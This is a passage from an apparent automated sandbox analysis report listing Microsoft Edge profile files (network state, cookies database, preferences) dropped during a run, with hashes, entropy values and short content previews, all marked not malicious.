oogleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\250e962a-d7db-4cd5-88cd-8e364fc28148.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\3f3ce238-8924-4f68-852c-ccafaa857166.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\8bc2b028-c40c-417d-9bf6-918775ad1b9e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\950928c3-4e22-455d-96cf-c99af1c96871.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	1664
Entropy (8bit):	5.326911444519177
Encrypted:	false
SSDEEP:	48:YcgCzsUtsQfc7RsileeBkEsg0ACgH38bxo+:FLz2hkeBkctTsVo+
MD5:	E667BECFA6233C05B7909079F6B0C612
SHA1:	F25971425D5BC1B0B518F388AEF0250B9FC3B64A
SHA-256:	15933AFC3CE7A6981F0DD80DC5766ED47C24E4BB029590EC74A18BD0A0CAA3A5
SHA-512:	CEDE43BB2B8A0D3A320A8DA0A6C75E09ADF8A6144C1AD97EFBA0AB84F00A9D82DAD424EA2DDB368C36CA89C4138867385C0E788E1EE17CB40A03BCF92CE47031
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13378862189129565","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13378862191695065","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL2F6dXJlZWRnZS5uZXQAAAA=",false],"server":"https://edgeassetservice.azureedge.net","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13376363810117235","port":443,"protocol_str":"quic"}],"anonymization":["HAAAABUAAABodHRwc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.826161168605726
Encrypted:	false
SSDEEP:	192:tTr+m3m2zjfzxhb9FYuBZiQZG0c4p0L/ZJVb:VK4jfz3b9FYu+0lp0LhJVb
MD5:	AB651EA24BE994EAA5CBF450D1CF5B7A
SHA1:	7DD8AE27AE8654E0B8170D5EBCAD80A07F470BA2
SHA-256:	3F6A47FFCC054A17F2ADE01148BB64009C05BCA09066963A0E90F48C5E3A717E
SHA-512:	2BFA52EE527D80773896975B1B7401F0F95F9CE877D08132616BC172892504714D6A5A99D35104561F1E5CCD219B8ABFFB5A65A10ED13E63C5858767FE965DC8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336110615415376
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7np+:YXs/tsbfc7leeEscgCgakhYhbx9+
MD5:	7D870539B6C4EE40FA5CFD87A3D4BFEC
SHA1:	F45BE07A3A05615856688219AFE6713EBABBAC2C
SHA-256:	73513F7A38830E47624257EF04A4F73BF174FD1FEBAC172AA416BF6470930F90
SHA-512:	90EABCE74F8CBB5FF1F96566E1293887BB3DB36C9E32F6C619D1EC7C9AAE504221CDEC2DD1468915A0A06A65E472C5446731838C89E665EBD9FA114F12261327
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF4146f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336110615415376
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7np+:YXs/tsbfc7leeEscgCgakhYhbx9+
MD5:	7D870539B6C4EE40FA5CFD87A3D4BFEC
SHA1:	F45BE07A3A05615856688219AFE6713EBABBAC2C
SHA-256:	73513F7A38830E47624257EF04A4F73BF174FD1FEBAC172AA416BF6470930F90
SHA-512:	90EABCE74F8CBB5FF1F96566E1293887BB3DB36C9E32F6C619D1EC7C9AAE504221CDEC2DD1468915A0A06A65E472C5446731838C89E665EBD9FA114F12261327
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF49f69.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336110615415376
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7np+:YXs/tsbfc7leeEscgCgakhYhbx9+
MD5:	7D870539B6C4EE40FA5CFD87A3D4BFEC
SHA1:	F45BE07A3A05615856688219AFE6713EBABBAC2C
SHA-256:	73513F7A38830E47624257EF04A4F73BF174FD1FEBAC172AA416BF6470930F90
SHA-512:	90EABCE74F8CBB5FF1F96566E1293887BB3DB36C9E32F6C619D1EC7C9AAE504221CDEC2DD1468915A0A06A65E472C5446731838C89E665EBD9FA114F12261327
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.2131339823168985
Encrypted:	false
SSDEEP:	48:T6IopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSBTMB:OIEumQv8m1ccnvS6Pl0nqII6v
MD5:	19980AA2D61DF499556FC35E998DC0C4
SHA1:	E40329F2BA9A934533CC3B0C848B619BF8E47220
SHA-256:	E98CB8562C0D0FF094365F0DFF2625FA1F894EE75B83B4A92AF59F2528F90705
SHA-512:	D6403F50F0D51AD34AFC849EB9D1928ACC600A89E4141C685AABA8EE9613C89C4AE4D9BB0EC7F4C173D4FFD3CD27CF38260413FC2D14B4B9453FD018FF948CD4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF39173.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3a26b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\a8d52893-7e5c-4934-92ee-01aa7082f8fd.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336110615415376
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7np+:YXs/tsbfc7leeEscgCgakhYhbx9+
MD5:	7D870539B6C4EE40FA5CFD87A3D4BFEC
SHA1:	F45BE07A3A05615856688219AFE6713EBABBAC2C
SHA-256:	73513F7A38830E47624257EF04A4F73BF174FD1FEBAC172AA416BF6470930F90
SHA-512:	90EABCE74F8CBB5FF1F96566E1293887BB3DB36C9E32F6C619D1EC7C9AAE504221CDEC2DD1468915A0A06A65E472C5446731838C89E665EBD9FA114F12261327
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\d2d5b4a8-d4bb-4890-b2e7-cf2326850b05.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12543
Entropy (8bit):	5.2055530231691804
Encrypted:	false
SSDEEP:	192:stsJ99QTryDiuabatSuypXsGTca/sZihUkYbYS8cbV+F5CQA66WwaFIMYLPsYJ:stsPGQSu4Xsc/fhMbbGcQx6WwaTYB
MD5:	1D15670F25CA6AFA3C68DE37230077F1
SHA1:	794BF24D36A6D2AEA73EAE12463039E6DFB42DA8
SHA-256:	E327D74BD86E68F9C2FDD90E09C0CDD76C6099478F2B19BDD8E75191CBAB1106
SHA-512:	C0D299D6AB81F14186E528DDE9B4E63464FE5F30317B135B140660240B052A0B69A84A46B2B64FA0B3B0870DCCFA21A23F4F96797E962778A85CA5E0619C7315
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376270186806377","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3cf28.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12543
Entropy (8bit):	5.2055530231691804
Encrypted:	false
SSDEEP:	192:stsJ99QTryDiuabatSuypXsGTca/sZihUkYbYS8cbV+F5CQA66WwaFIMYLPsYJ:stsPGQSu4Xsc/fhMbbGcQx6WwaTYB
MD5:	1D15670F25CA6AFA3C68DE37230077F1
SHA1:	794BF24D36A6D2AEA73EAE12463039E6DFB42DA8
SHA-256:	E327D74BD86E68F9C2FDD90E09C0CDD76C6099478F2B19BDD8E75191CBAB1106
SHA-512:	C0D299D6AB81F14186E528DDE9B4E63464FE5F30317B135B140660240B052A0B69A84A46B2B64FA0B3B0870DCCFA21A23F4F96797E962778A85CA5E0619C7315
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376270186806377","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF40e64.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12543
Entropy (8bit):	5.2055530231691804
Encrypted:	false
SSDEEP:	192:stsJ99QTryDiuabatSuypXsGTca/sZihUkYbYS8cbV+F5CQA66WwaFIMYLPsYJ:stsPGQSu4Xsc/fhMbbGcQx6WwaTYB
MD5:	1D15670F25CA6AFA3C68DE37230077F1
SHA1:	794BF24D36A6D2AEA73EAE12463039E6DFB42DA8
SHA-256:	E327D74BD86E68F9C2FDD90E09C0CDD76C6099478F2B19BDD8E75191CBAB1106
SHA-512:	C0D299D6AB81F14186E528DDE9B4E63464FE5F30317B135B140660240B052A0B69A84A46B2B64FA0B3B0870DCCFA21A23F4F96797E962778A85CA5E0619C7315
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376270186806377","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF491fb.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12543
Entropy (8bit):	5.2055530231691804
Encrypted:	false
SSDEEP:	192:stsJ99QTryDiuabatSuypXsGTca/sZihUkYbYS8cbV+F5CQA66WwaFIMYLPsYJ:stsPGQSu4Xsc/fhMbbGcQx6WwaTYB
MD5:	1D15670F25CA6AFA3C68DE37230077F1
SHA1:	794BF24D36A6D2AEA73EAE12463039E6DFB42DA8
SHA-256:	E327D74BD86E68F9C2FDD90E09C0CDD76C6099478F2B19BDD8E75191CBAB1106
SHA-512:	C0D299D6AB81F14186E528DDE9B4E63464FE5F30317B135B140660240B052A0B69A84A46B2B64FA0B3B0870DCCFA21A23F4F96797E962778A85CA5E0619C7315
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376270186806377","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	38626
Entropy (8bit):	5.554589912962316
Encrypted:	false
SSDEEP:	768:GISg7s7pLGLpU2WPYSf/g8F1+UoAYDCx9Tuqh0VfUC9xbog/OVU285vrwTWX2qKY:GISg7QcpU2WPYSf/gu1ja5F5cTWXzQty
MD5:	A4358D54121CC3BB6528DDEDD22E07D4
SHA1:	D38828E6E5CF04BDE967024AACD70A52332A3878
SHA-256:	DCFDADF99F564176871CFB99EC532E1D0FB4100947BC86AD29811B1AC0EB6BA6
SHA-512:	85A1C10133143B1AF3CD582824D690586BE06213FA14037C08ADB41CBD9A8E0367BA57B20C53EA5D87E8A77454AA68CE556D2993C4D62EC47A166D2665D9EAF8
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376270186197673","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376270186197673","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF3f08b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	38626
Entropy (8bit):	5.554589912962316
Encrypted:	false
